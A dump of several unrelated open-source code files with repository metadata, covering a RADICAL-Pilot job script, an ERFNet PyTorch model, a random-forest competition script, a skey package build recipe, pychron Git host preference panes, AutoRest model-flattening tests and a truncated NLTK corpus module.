#!/usr/bin/env python __copyright__ = "Copyright 2013-2015, http://radical.rutgers.edu" __license__ = "MIT" import os import sys import radical.pilot as rp import radical.utils as ru import time dh = ru.DebugHelper () print rp RUNTIME = 1800 SLEEP = 10 PILOTS = 1 UNITS = 1 SCHED = rp.SCHED_BACKFILLING #SCHED = "backfilling" resources = { 'osg.xsede-virt-clust' : { 'project' : 'TG-CCR140028', 'queue' : None, 'schema' : 'ssh' }, 'osg.connect' : { 'project' : 'RADICAL', 'queue' : None, 'schema' : 'ssh' } } start_time = time.time() p_state = [] u_state = [] #------------------------------------------------------------------------------ # def pilot_state_cb (pilot, state): if not pilot: return #print "[Callback]: ComputePilot '%s' state: %s." % (pilot.uid, state) # p_state.append([pilot.uid, state, time.time() - start_time]) print [pilot.uid, state, time.time() - start_time] # Hello HTC :-) #if state == rp.FAILED: # sys.exit (1) #------------------------------------------------------------------------------ # CNT = 0 def unit_state_cb (unit, state): if not unit: return global CNT #print "[Callback]: unit %s on %s: %s." % (unit.uid, unit.pilot_id, state) # u_state.append([unit.uid, unit.pilot_id, state, time.time() - start_time]) print [unit.uid, unit.pilot_id, state, time.time() - start_time] if state in [rp.FAILED, rp.DONE, rp.CANCELED]: CNT += 1 #print "[Callback]: # %6d" % CNT # Hello HTC :-) #if state == rp.FAILED: # print "stderr: %s" % unit.stderr # sys.exit(2) #------------------------------------------------------------------------------ # def wait_queue_size_cb(umgr, wait_queue_size): pass #print "[Callback]: wait_queue_size: %s." % wait_queue_size #------------------------------------------------------------------------------ # if __name__ == "__main__": # we can optionally pass session name to RP if len(sys.argv) > 1: resource = sys.argv[1] else: resource = 'local.localhost' print 'running on %s' % resource # Create a new session. No need to try/except this: if session creation # fails, there is not much we can do anyways... session = rp.Session() print "session id: %s" % session.uid # all other pilot code is now tried/excepted. If an exception is caught, we # can rely on the session object to exist and be valid, and we can thus tear # the whole RP stack down via a 'session.close()' call in the 'finally' # clause... try: pmgr = rp.PilotManager(session=session) pmgr.register_callback(pilot_state_cb) pdescs = list() for p in range(PILOTS): pdesc = rp.ComputePilotDescription() pdesc.resource = resource pdesc.cores = 1 pdesc.project = resources[resource]['project'] pdesc.queue = resources[resource]['queue'] pdesc.runtime = RUNTIME pdesc.cleanup = False pdesc.access_schema = resources[resource]['schema'] pdesc.candidate_hosts = [#'MIT_CMS', #'UConn-OSG', '!SU-OG', # No compiler '!FIU_HPCOSG_CE', # zeromq build fails #'BU_ATLAS_Tier2', '!UCSDT2', # Failing because of format character ... '~(HAS_CVMFS_oasis_opensciencegrid_org =?= TRUE)' ] pdescs.append(pdesc) pilots = pmgr.submit_pilots(pdescs) umgr = rp.UnitManager(session=session, scheduler=SCHED) umgr.register_callback(unit_state_cb, rp.UNIT_STATE) umgr.register_callback(wait_queue_size_cb, rp.WAIT_QUEUE_SIZE) umgr.add_pilots(pilots) cuds = list() for unit_count in range(0, UNITS): cud = rp.ComputeUnitDescription() cud.executable = "/bin/sh" cud.arguments = ["-c", "echo $HOSTNAME:$OSG_HOSTNAME && sleep %d" % SLEEP] cud.cores = 1 cuds.append(cud) units = umgr.submit_units(cuds) print session umgr.wait_units() print session #os.system('radicalpilot-close-session -m export -s %s' %session.uid) #for cu in units: #print "* Task %s state %s, exit code: %s, stdout: %s, started: %s, finished: %s" \ # % (cu.uid, cu.state, cu.exit_code, cu.stdout, cu.start_time, cu.stop_time) # os.system ("radicalpilot-stats -m stat,plot -s %s > %s.stat" % (session.uid, session_name)) # print "Pilot Information" # for i in range(len(p_state)): # print p_state[i] # print "\n\nUnit Information" # for i in range(len(u_state)): # print u_state[i] except Exception as e: # Something unexpected happened in the pilot code above print "caught Exception: %s" % e raise except (KeyboardInterrupt, SystemExit) as e: # the callback called sys.exit(), and we can here catch the # corresponding KeyboardInterrupt exception for shutdown. We also catch # SystemExit (which gets raised if the main threads exits for some other # reason). print "need to exit now: %s" % e finally: # always clean up the session, no matter if we caught an exception or # not. #print "closing session" os.system('radicalpilot-close-session -m export -s %s' %session.uid) session.close (cleanup=False) # the above is equivalent to # # session.close (cleanup=True, terminate=True) # # it will thus both clean out the session's database record, and kill # all remaining pilots (none in our example). #-------------------------------------------------------------------------------
[ "ming.tai.ha@gmail.com" ]
ming.tai.ha@gmail.com
9fbf31d149d9fda8df596871ddc7835f704c8451
c0587882287eee1ca08e0cd30f6ece568da3de91
/SS-3_files/erfnetv2.py
6c2bb2efbd03cbd8b82f14b45ba12b1add665658
[]
no_license
Ashutosh1995/Semseg-Notebooks
7efe42cf44b647a38eecb4acedaf27c16c0986f7
c60862da1790954373e57a1ac725d7279df14e59
refs/heads/master
2021-01-04T03:35:31.920484
2020-06-03T07:20:11
2020-06-03T07:20:11
240,360,922
13
0
null
null
null
null
UTF-8
Python
false
false
4,889
py
# ERFNet full model definition for Pytorch # Sept 2017 # Eduardo Romera ####################### import torch import torch.nn as nn import torch.nn.init as init import torch.nn.functional as F class DownsamplerBlock (nn.Module): def __init__(self, ninput, noutput): super().__init__() self.conv = nn.Conv2d(ninput, noutput-ninput, (3, 3), stride=2, padding=1, bias=True) self.pool = nn.MaxPool2d(2, stride=2) self.bn = nn.BatchNorm2d(noutput, eps=1e-3) def forward(self, input): output = torch.cat([self.conv(input), self.pool(input)], 1) output = self.bn(output) return F.relu(output) class non_bottleneck_1d (nn.Module): def __init__(self, chann, dropprob, dilated): super().__init__() self.conv3x1_1 = nn.Conv2d(chann, chann, (3, 1), stride=1, padding=(1,0), bias=True) self.conv1x3_1 = nn.Conv2d(chann, chann, (1,3), stride=1, padding=(0,1), bias=True) self.bn1 = nn.BatchNorm2d(chann, eps=1e-03) self.conv3x1_2 = nn.Conv2d(chann, chann, (3, 1), stride=1, padding=(1*dilated,0), bias=True, dilation = (dilated,1)) self.conv1x3_2 = nn.Conv2d(chann, chann, (1,3), stride=1, padding=(0,1*dilated), bias=True, dilation = (1, dilated)) self.bn2 = nn.BatchNorm2d(chann, eps=1e-03) self.dropout = nn.Dropout2d(dropprob) def forward(self, input): output = self.conv3x1_1(input) output = F.relu(output) output = self.conv1x3_1(output) output = self.bn1(output) output = F.relu(output) output = self.conv3x1_2(output) output = F.relu(output) output = self.conv1x3_2(output) output = self.bn2(output) if (self.dropout.p != 0): output = self.dropout(output) return F.relu(output+input) #+input = identity (residual connection) class Encoder(nn.Module): def __init__(self, num_classes): super().__init__() self.initial_block = DownsamplerBlock(3,16) self.layers = nn.ModuleList() self.layers.append(DownsamplerBlock(16,64)) for x in range(0, 2): #5 times self.layers.append(non_bottleneck_1d(64, 0.03, 1)) self.layers.append(DownsamplerBlock(64,128)) for x in range(0, 1): #2 times self.layers.append(non_bottleneck_1d(128, 0.3, 2)) self.layers.append(non_bottleneck_1d(128, 0.3, 4)) self.layers.append(non_bottleneck_1d(128, 0.3, 8)) self.layers.append(non_bottleneck_1d(128, 0.3, 16)) #Only in encoder mode: self.output_conv = nn.Conv2d(128, num_classes, 1, stride=1, padding=0, bias=True) def forward(self, input, predict=False): output = self.initial_block(input) for layer in self.layers: output = layer(output) if predict: output = self.output_conv(output) return output class UpsamplerBlock (nn.Module): def __init__(self, ninput, noutput): super().__init__() self.conv = nn.ConvTranspose2d(ninput, noutput, 3, stride=2, padding=1, output_padding=1, bias=True) self.bn = nn.BatchNorm2d(noutput, eps=1e-3) def forward(self, input): output = self.conv(input) output = self.bn(output) return F.relu(output) class Decoder (nn.Module): def __init__(self, num_classes): super().__init__() self.layers = nn.ModuleList() self.layers.append(UpsamplerBlock(128,64)) self.layers.append(non_bottleneck_1d(64, 0, 1)) self.layers.append(non_bottleneck_1d(64, 0, 1)) self.layers.append(UpsamplerBlock(64,16)) self.layers.append(non_bottleneck_1d(16, 0, 1)) self.layers.append(non_bottleneck_1d(16, 0, 1)) self.output_conv = nn.ConvTranspose2d( 16, num_classes, 2, stride=2, padding=0, output_padding=0, bias=True) def forward(self, input): output = input for layer in self.layers: output = layer(output) output = self.output_conv(output) return output #ERFNet class Net(nn.Module): def __init__(self, num_classes, encoder=None): #use encoder to pass pretrained encoder super().__init__() if (encoder == None): self.encoder = Encoder(num_classes) else: self.encoder = encoder self.encoder.load('model_best_encoder_decoder_pretrained.pth') self.decoder = Decoder(num_classes) def forward(self, input, only_encode=False): if only_encode: encoded_features = self.encoder.forward(input, predict=True) return nn.functional.upsample(encoded_features,mode='bilinear',align_corners=False,scale_factor=8) else: output = self.encoder(input) return self.decoder.forward(output)
[ "you@example.com" ]
you@example.com
824cb12edd917c05a044def25f6e971733c2eaac
6af893ad82d23724700ac3fd80492396d84c9526
/queencity20/eda/eda_incorporated_towards_end0.py
85f292760c85cf19760361246c59b91476e473f1
[]
no_license
abhijeetdtu/queencity20
aefc9a2847b753ca25e2205faa651c822cd26e54
64c2c57ccc45b9ac29a6aadeeaa1e317f1460b0e
refs/heads/master
2021-01-09T04:45:40.936932
2020-02-23T00:37:22
2020-02-23T00:37:22
242,249,470
0
0
null
null
null
null
UTF-8
Python
false
false
2,421
py
%load_ext autoreload %autoreload 2 import pandas as pd import numpy as np from queencity20.utils.getData import * from queencity20.utils.remove_correlated import * from collections import defaultdict df = getTrainingData() df.head() from sklearn.impute import SimpleImputer #means = df.mean(skipna=True) si = SimpleImputer(strategy="median") df.loc[:,:] = si.fit_transform(df) fdf = df fdf = diffCols(fdf) fdf["target"].describe() fdf.shape from sklearn.model_selection import train_test_split from sklearn.ensemble import RandomForestClassifier #X_train, X_test, y_train, y_test = testTrainSplit(fdf) X = fdf.drop(["target"], axis=1) y = fdf["target"] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=42) #class_weight={"exceptionally high":1, "high":1,"low":1,"medium":25 } from sklearn.metrics import mean_squared_error, r2_score,roc_auc_score, accuracy_score , confusion_matrix cormat = fdf.corr() cormat["target"].sort_values(ascending=False).head(20) np.abs(cormat["target"]).sort_values(ascending=False).head(20).index corcols = list(set(find_correlation(fdf.drop("target" , axis=1), threshold=0.8))) len(corcols) fdf = fdf.drop(corcols , axis=1) X = fdf.drop(["target"], axis=1) y = fdf["target"] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=42) from sklearn.ensemble import RandomForestRegressor rfr = RandomForestRegressor(max_depth=3) rfr.fit(X_train , y_train) featureImpDf = pd.DataFrame({"feature" : X_train.columns , "imp":rfr.feature_importances_}) featureImpDf.sort_values("imp" , ascending=False).head(20)["feature"].values r2_score(y_test, rfr.predict(X_test)) from sklearn.model_selection import cross_val_score from sklearn.ensemble import RandomForestRegressor #rfr = RandomForestRegressor(n_estimators=5, max_samples=0.8 , max_features=30,ccp_alpha = 0.4,min_samples_split=4, max_depth=5) rfr = RandomForestRegressor(n_estimators=50, max_samples=0.2 , max_features=0.7,ccp_alpha = 0.4,min_samples_split=4, max_depth=5) rfr.fit(X,y) cross_val_score(rfr , X,y ,scoring="neg_mean_squared_error" , cv=10) testData = getTestData() testData.loc[: , :] = si.fit_transform(testData) #testData = testData.fillna(testData.mean(skipna=True)) testData = diffCols(testData) testData = testData.drop(corcols , axis=1) preds = rfr.predict(testData) pd.DataFrame({"pred" : preds}).to_csv("submis.csv")
[ "abhijeetdtu@gmail.com" ]
abhijeetdtu@gmail.com
53399e598f3629727a5eda9661611aa9aeb09657
f50f1aa1f8f139d546db3230a1cb1f53043fd9e6
/system/base/skey/actions.py
99e49fdc24508dbe9fe952a82367a3430bfa98c8
[]
no_license
pars-linux/corporate2
7887961d1552d39bc3b0bef4a60fd3413d9b82bb
14d1eacfc824fb8d0bff8173e7ac06b36b88d10d
refs/heads/master
2020-05-26T15:02:12.005654
2017-02-27T03:07:14
2017-02-27T03:07:14
82,476,084
4
0
null
null
null
null
UTF-8
Python
false
false
2,459
py
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2010 TUBITAK/UEKAE # Licensed under the GNU General Public License, version 2. # See the file http://www.gnu.org/copyleft/gpl.txt. # # Note that we fiddle with permissions of everything to make sure not to make a security hole # from pisi.actionsapi import autotools from pisi.actionsapi import pisitools from pisi.actionsapi import shelltools from pisi.actionsapi import libtools from pisi.actionsapi import get def setup(): shelltools.export("SENDMAIL", "/usr/sbin/sendmail") shelltools.export("CFLAGS", "%s -DSKEY_HASH_DEFAULT=1" % get.CFLAGS()) autotools.configure("--sysconfdir=/etc/skey") def build(): autotools.make() def install(): ### Runtime for i in ["skey", "skeyinit", "skeyinfo"]: pisitools.dobin(i) for i in ["otp-md4", "otp-sha1", "otp-md5"]: pisitools.dosym("skey", "/usr/bin/%s" % i) pisitools.insinto("/usr/sbin", "skeyprune.pl", "skeyprune") pisitools.insinto("/usr/bin", "skeyaudit.sh", "skeyaudit") # these must be suid root so users can generate their passwords, fperms u+s,og-r for i in ["skeyinit", "skeyinfo", "skeyaudit"]: shelltools.chmod("%s/usr/bin/%s" % (get.installDIR(), i), 4755) shelltools.chmod("%s/usr/bin/skey" % get.installDIR(), 0755) shelltools.chmod("%s/usr/sbin/skeyprune" % get.installDIR(), 0755) ### Developement pisitools.insinto("/usr/include", "skey.h") for i in ["libskey.so.1.1.5", "libskey.so.1", "libskey.so"]: # dolib borks with symlinks # pisitools.dolib(i, destinationDirectory="/lib") pisitools.insinto("/lib", i) shelltools.chmod("%s/lib/%s" % (get.installDIR(), i), 0755) #libtools.gen_usr_ldscript("libskey.so") pisitools.dosym("../../lib/libskey.so", "/usr/lib/libskey.so") ### Config # only root needs to have access to these files. fperms g-rx,o-rx /etc/skey pisitools.dodir("/etc/skey") shelltools.chmod("%s/etc/skey" % get.installDIR(), 0700) # skeyinit will not function if this file is not present. these permissions are applied by the skey system if missing. shelltools.touch("%s/etc/skey/skeykeys" % get.installDIR()) shelltools.chmod("%s/etc/skey/skeykeys" % get.installDIR(), 0600) ### Docs for i in ["skey.1", "skeyaudit.1", "skeyinfo.1", "skeyinit.1", "skey.3", "skeyprune.8"]: pisitools.doman(i) pisitools.dodoc("CHANGES", "README")
[ "zaburt@users.noreply.github.com" ]
zaburt@users.noreply.github.com
6490fcc8e5763a6c0a7bb69a9a97d2da67c7c562
6f1034b17b49f373a41ecf3a5a8923fb4948992b
/pychron/git/tasks/githost_preferences.py
9383d7e63d44223c0e21981f9c7290783093f3e2
[ "Apache-2.0" ]
permissive
NMGRL/pychron
a6ec1854488e74eb5d3ff53eee8537ecf98a6e2f
8cfc8085393ace2aee6b98d36bfd6fba0bcb41c6
refs/heads/main
2023-08-30T07:00:34.121528
2023-06-12T17:43:25
2023-06-12T17:43:25
14,438,041
38
28
Apache-2.0
2023-08-09T22:47:17
2013-11-15T23:46:10
Python
UTF-8
Python
false
false
4,486
py
# =============================================================================== # Copyright 2016 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # =============================================================================== # ============= enthought library imports ======================= import requests from envisage.ui.tasks.preferences_pane import PreferencesPane from traits.api import Str, Password, Button, Color, Bool from traitsui.api import View, Item, VGroup, HGroup from pychron.core.ui.custom_label_editor import CustomLabel from pychron.envisage.tasks.base_preferences_helper import ( BasePreferencesHelper, test_connection_item, ) from pychron.git.hosts import authorization from pychron.globals import globalv class GitHostPreferences(BasePreferencesHelper): username = Str password = Password oauth_token = Str default_remote_name = Str organization = Str disable_authentication_message = Bool test_connection = Button _remote_status = Str _remote_status_color = Color def _test_connection_fired(self): self._remote_status_color = "red" self._remote_status = "Invalid" try: kw = {"verify": globalv.cert_file} if self._token: header = authorization("", "", self._token) kw["headers"] = header else: kw["auth"] = (self.username, self.password) resp = requests.get(self._url, **kw) if resp.status_code == 200: self._remote_status = "Valid" self._remote_status_color = "green" except BaseException as e: print("exception", e, self._url) class GitHubPreferences(GitHostPreferences): preferences_path = "pychron.github" _url = "https://api.github.com/user" @property def _token(self): if self.oauth_token: return "token {}".format(self.oauth_token) class GitLabPreferences(GitHostPreferences): host = Str preferences_path = "pychron.gitlab" @property def _url(self): return "https://{}".format(self.host) @property def _token(self): if self.oauth_token: return "Bearer {}".format(self.oauth_token) class GitHostPreferencesPane(PreferencesPane): def _cred_group(self): g = VGroup( Item("organization"), # VGroup(Item('username'), # Item('password'), # show_border=True, label='Basic'), Item( "disable_authentication_message", tooltip="This message is displayed to Windows users on start up as a reminder to setup " "authentication", label="Disable Authentication Message", ), VGroup( Item( "oauth_token", tooltip="Enter a Personal Access Token", resizable=True, label="Token", ), show_border=True, label="OAuth", ), HGroup( test_connection_item(), CustomLabel( "_remote_status", width=50, color_name="_remote_status_color" ), ), show_border=True, label="Credentials", ) return g def traits_view(self): v = View( self._cred_group(), Item("default_remote_name", label="Default Remote") ) return v class GitHubPreferencesPane(GitHostPreferencesPane): model_factory = GitHubPreferences category = "GitHub" class GitLabPreferencesPane(GitHostPreferencesPane): model_factory = GitLabPreferences category = "GitLab" def traits_view(self): hg = VGroup(Item("host")) v = View(VGroup(self._cred_group(), hg)) return v # ============= EOF =============================================
[ "jirhiker@gmail.com" ]
jirhiker@gmail.com
58c995f03d39f6dbb6fa4ee413d654491878908f
5b4b1866571453f78db5b06a08ff0eda17b91b04
/test/vanilla/AcceptanceTests/asynctests/test_model_flattening.py
0d160557814c8371c447da24a5d631f8ff869b15
[ "MIT", "LicenseRef-scancode-generic-cla" ]
permissive
koek67/autorest.azure-functions-python
ba345f1d194ca7431daab1210a0cd801d4946991
b0896d8aec6b0fd6f0bcb12ea8e0489652dc2783
refs/heads/main
2022-12-20T13:27:56.405901
2020-09-30T08:23:11
2020-09-30T08:23:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
11,815
py
# -------------------------------------------------------------------------- # # Copyright (c) Microsoft Corporation. All rights reserved. # # The MIT License (MIT) # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the ""Software""), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. # # -------------------------------------------------------------------------- from async_generator import yield_, async_generator import unittest import subprocess import sys import isodate import tempfile import json from datetime import date, datetime, timedelta import os from os.path import dirname, pardir, join, realpath from msrest.exceptions import DeserializationError from modelflattening.aio import AutoRestResourceFlatteningTestService from modelflattening.models import ( FlattenedProduct, ResourceCollection, SimpleProduct) import pytest @pytest.fixture @async_generator async def client(): async with AutoRestResourceFlatteningTestService(base_url="http://localhost:3000") as client: await yield_(client) class TestModelFlatteningTests(object): @pytest.mark.asyncio async def test_flattening_array(self, client): #Array result = await client.get_array() assert 3 == len(result) # Resource 1 assert "1" == result[0].id assert "OK" == result[0].provisioning_state_values assert "Product1" == result[0].p_name assert "Flat" == result[0].type_properties_type assert "Building 44" == result[0].location assert "Resource1" == result[0].name assert "Succeeded" == result[0].provisioning_state assert "Microsoft.Web/sites" == result[0].type assert "value1" == result[0].tags["tag1"] assert "value3" == result[0].tags["tag2"] # Resource 2 assert "2" == result[1].id assert "Resource2" == result[1].name assert "Building 44" == result[1].location # Resource 3 assert "3" == result[2].id assert "Resource3" == result[2].name resourceArray = [ { 'location': "West US", 'tags': {"tag1":"value1", "tag2":"value3"}}, { 'location': "Building 44"}] await client.put_array(resourceArray) @pytest.mark.asyncio async def test_flattening_dictionary(self, client): #Dictionary resultDictionary = await client.get_dictionary() assert 3 == len(resultDictionary) # Resource 1 assert "1" == resultDictionary["Product1"].id assert "OK" == resultDictionary["Product1"].provisioning_state_values assert "Product1" == resultDictionary["Product1"].p_name assert "Flat" == resultDictionary["Product1"].type_properties_type assert "Building 44" == resultDictionary["Product1"].location assert "Resource1" == resultDictionary["Product1"].name assert "Succeeded" == resultDictionary["Product1"].provisioning_state assert "Microsoft.Web/sites" == resultDictionary["Product1"].type assert "value1" == resultDictionary["Product1"].tags["tag1"] assert "value3" == resultDictionary["Product1"].tags["tag2"] # Resource 2 assert "2" == resultDictionary["Product2"].id assert "Resource2" == resultDictionary["Product2"].name assert "Building 44" == resultDictionary["Product2"].location # Resource 3 assert "3" == resultDictionary["Product3"].id assert "Resource3" == resultDictionary["Product3"].name resourceDictionary = { "Resource1": { 'location': "West US", 'tags': {"tag1":"value1", "tag2":"value3"}, 'p_name': "Product1", 'type_properties_type': "Flat"}, "Resource2": { 'location': "Building 44", 'p_name': "Product2", 'type_properties_type': "Flat"}} await client.put_dictionary(resourceDictionary) @pytest.mark.asyncio async def test_flattening_complex_object(self, client): #ResourceCollection resultResource = await client.get_resource_collection() #dictionaryofresources assert 3 == len(resultResource.dictionaryofresources) # Resource 1 assert "1" == resultResource.dictionaryofresources["Product1"].id assert "OK" == resultResource.dictionaryofresources["Product1"].provisioning_state_values assert "Product1" == resultResource.dictionaryofresources["Product1"].p_name assert "Flat" == resultResource.dictionaryofresources["Product1"].type_properties_type assert "Building 44" == resultResource.dictionaryofresources["Product1"].location assert "Resource1" == resultResource.dictionaryofresources["Product1"].name assert "Succeeded" == resultResource.dictionaryofresources["Product1"].provisioning_state assert "Microsoft.Web/sites" == resultResource.dictionaryofresources["Product1"].type assert "value1" == resultResource.dictionaryofresources["Product1"].tags["tag1"] assert "value3" == resultResource.dictionaryofresources["Product1"].tags["tag2"] # Resource 2 assert "2" == resultResource.dictionaryofresources["Product2"].id assert "Resource2" == resultResource.dictionaryofresources["Product2"].name assert "Building 44" == resultResource.dictionaryofresources["Product2"].location # Resource 3 assert "3" == resultResource.dictionaryofresources["Product3"].id assert "Resource3" == resultResource.dictionaryofresources["Product3"].name #arrayofresources assert 3 == len(resultResource.arrayofresources) # Resource 1 assert "4" == resultResource.arrayofresources[0].id assert "OK" == resultResource.arrayofresources[0].provisioning_state_values assert "Product4" == resultResource.arrayofresources[0].p_name assert "Flat" == resultResource.arrayofresources[0].type_properties_type assert "Building 44" == resultResource.arrayofresources[0].location assert "Resource4" == resultResource.arrayofresources[0].name assert "Succeeded" == resultResource.arrayofresources[0].provisioning_state assert "Microsoft.Web/sites" == resultResource.arrayofresources[0].type assert "value1" == resultResource.arrayofresources[0].tags["tag1"] assert "value3" == resultResource.arrayofresources[0].tags["tag2"] # Resource 2 assert "5" == resultResource.arrayofresources[1].id assert "Resource5" == resultResource.arrayofresources[1].name assert "Building 44" == resultResource.arrayofresources[1].location # Resource 3 assert "6" == resultResource.arrayofresources[2].id assert "Resource6" == resultResource.arrayofresources[2].name #productresource assert "7" == resultResource.productresource.id assert "Resource7" == resultResource.productresource.name resourceDictionary = { "Resource1": FlattenedProduct( location = "West US", tags = {"tag1":"value1", "tag2":"value3"}, p_name = "Product1", type_properties_type = "Flat"), "Resource2": FlattenedProduct( location = "Building 44", p_name = "Product2", type_properties_type = "Flat")} resourceComplexObject = ResourceCollection( dictionaryofresources = resourceDictionary, arrayofresources = [ FlattenedProduct( location = "West US", tags = {"tag1":"value1", "tag2":"value3"}, p_name = "Product1", type_properties_type = "Flat"), FlattenedProduct( location = "East US", p_name = "Product2", type_properties_type = "Flat")], productresource = FlattenedProduct( location = "India", p_name = "Azure", type_properties_type = "Flat")) await client.put_resource_collection(resourceComplexObject) @pytest.mark.asyncio async def test_model_flattening_simple(self, client): simple_product = SimpleProduct( product_id = "123", description = "product description", max_product_display_name = "max name", odata_value = "http://foo", generic_value = "https://generic" ) simple_product.additional_properties = {} # Not the purpose of this test. This enables the ==. result = await client.put_simple_product(simple_product) result.additional_properties = {} # Not the purpose of this test. This enables the ==. assert result == simple_product @pytest.mark.asyncio async def test_model_flattening_with_parameter_flattening(self, client): simple_product = SimpleProduct( product_id = "123", description = "product description", max_product_display_name = "max name", odata_value = "http://foo" ) simple_product.additional_properties = {} # Not the purpose of this test. This enables the ==. result = await client.post_flattened_simple_product( "123", # product_id "product description", # description "max name", # max_product_display_name None, # generic_value "http://foo", # odata_value ) result.additional_properties = {} # Not the purpose of this test. This enables the ==. assert result == simple_product @pytest.mark.asyncio async def test_model_flattening_with_grouping(self, client): from modelflattening.models import FlattenParameterGroup simple_product = SimpleProduct( product_id = "123", description = "product description", max_product_display_name = "max name", odata_value = "http://foo" ) simple_product.additional_properties = {} # Not the purpose of this test. This enables the ==. group = FlattenParameterGroup( product_id = "123", description = "product description", max_product_display_name="max name", odata_value="http://foo", name="groupproduct") result = await client.put_simple_product_with_grouping(group) result.additional_properties = {} # Not the purpose of this test. This enables the ==. assert result == simple_product
[ "varad.meru@gmail.com" ]
varad.meru@gmail.com
8d411e3d5f8cdebb47b8c37917bf82415404b1e9
b28c2e04e2a093a7e83b214c877ea30978ff862e
/trendnz-gae/nltk/corpus/__init__ copy.py
3593f6768a2fbe3164820a9a5c840eebdffd7b81
[]
no_license
markmo/experiments
ec00dcb6219cd422873ae3a018fc2bc8cadedd5c
f7d3f25dfef2472ec1b5bed30be7b46daa448257
refs/heads/master
2020-05-31T17:55:21.537201
2011-04-12T20:53:41
2011-04-12T20:53:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
9,977
py
# Natural Language Toolkit: Corpus Readers # # Copyright (C) 2001-2010 NLTK Project # Author: Edward Loper <edloper@gradient.cis.upenn.edu> # URL: <http://www.nltk.org/> # For license information, see LICENSE.TXT # [xx] this docstring isnt' up-to-date! """ NLTK corpus readers. The modules in this package provide functions that can be used to read corpus files in a variety of formats. These functions can be used to read both the corpus files that are distributed in the NLTK corpus package, and corpus files that are part of external corpora. Available Corpora ================= Please see http://nltk.googlecode.com/svn/trunk/nltk_data/index.xml for a complete list. Install corpora using nltk.download(). Corpus Reader Functions ======================= Each corpus module defines one or more X{corpus reader functions}, which can be used to read documents from that corpus. These functions take an argument, C{item}, which is used to indicate which document should be read from the corpus: - If C{item} is one of the unique identifiers listed in the corpus module's C{items} variable, then the corresponding document will be loaded from the NLTK corpus package. - If C{item} is a filename, then that file will be read. Additionally, corpus reader functions can be given lists of item names; in which case, they will return a concatenation of the corresponding documents. Corpus reader functions are named based on the type of information they return. Some common examples, and their return types, are: - I{corpus}.words(): list of str - I{corpus}.sents(): list of (list of str) - I{corpus}.paras(): list of (list of (list of str)) - I{corpus}.tagged_words(): list of (str,str) tuple - I{corpus}.tagged_sents(): list of (list of (str,str)) - I{corpus}.tagged_paras(): list of (list of (list of (str,str))) - I{corpus}.chunked_sents(): list of (Tree w/ (str,str) leaves) - I{corpus}.parsed_sents(): list of (Tree with str leaves) - I{corpus}.parsed_paras(): list of (list of (Tree with str leaves)) - I{corpus}.xml(): A single xml ElementTree - I{corpus}.raw(): unprocessed corpus contents For example, to read a list of the words in the Brown Corpus, use C{nltk.corpus.brown.words()}: >>> from nltk.corpus import brown >>> print brown.words() ['The', 'Fulton', 'County', 'Grand', 'Jury', 'said', ...] Corpus Metadata =============== Metadata about the NLTK corpora, and their individual documents, is stored using U{Open Language Archives Community (OLAC) <http://www.language-archives.org/>} metadata records. These records can be accessed using C{nltk.corpus.I{corpus}.olac()}. """ import re from nltk.tokenize import RegexpTokenizer from nltk.tag import simplify_brown_tag, simplify_wsj_tag,\ simplify_alpino_tag, simplify_indian_tag,\ simplify_tag from util import LazyCorpusLoader from reader import * abc = LazyCorpusLoader( 'abc', PlaintextCorpusReader, r'(?!\.).*\.txt') alpino = LazyCorpusLoader( 'alpino', AlpinoCorpusReader, tag_mapping_function=simplify_alpino_tag) brown = LazyCorpusLoader( 'brown', CategorizedTaggedCorpusReader, r'c[a-z]\d\d', cat_file='cats.txt', tag_mapping_function=simplify_brown_tag) cess_cat = LazyCorpusLoader( 'cess_cat', BracketParseCorpusReader, r'(?!\.).*\.tbf', tag_mapping_function=simplify_tag) cess_esp = LazyCorpusLoader( 'cess_esp', BracketParseCorpusReader, r'(?!\.).*\.tbf', tag_mapping_function=simplify_tag) cmudict = LazyCorpusLoader( 'cmudict', CMUDictCorpusReader, ['cmudict']) conll2000 = LazyCorpusLoader( 'conll2000', ConllChunkCorpusReader, ['train.txt', 'test.txt'], ('NP','VP','PP')) conll2002 = LazyCorpusLoader( 'conll2002', ConllChunkCorpusReader, '.*\.(test|train).*', ('LOC', 'PER', 'ORG', 'MISC'), encoding='utf-8') conll2007 = LazyCorpusLoader( 'conll2007', DependencyCorpusReader, '.*\.(test|train).*', encoding='utf-8') dependency_treebank = LazyCorpusLoader( 'dependency_treebank', DependencyCorpusReader, '.*\.dp') floresta = LazyCorpusLoader( 'floresta', BracketParseCorpusReader, r'(?!\.).*\.ptb', '#', tag_mapping_function=simplify_tag) gazetteers = LazyCorpusLoader( 'gazetteers', WordListCorpusReader, r'(?!LICENSE|\.).*\.txt') genesis = LazyCorpusLoader( 'genesis', PlaintextCorpusReader, r'(?!\.).*\.txt', encoding=[ ('finnish|french|german', 'latin_1'), ('swedish', 'cp865'), ('.*', 'utf_8')]) gutenberg = LazyCorpusLoader( 'gutenberg', PlaintextCorpusReader, r'(?!\.).*\.txt') # corpus not available with NLTK; these lines caused help(nltk.corpus) to break #hebrew_treebank = 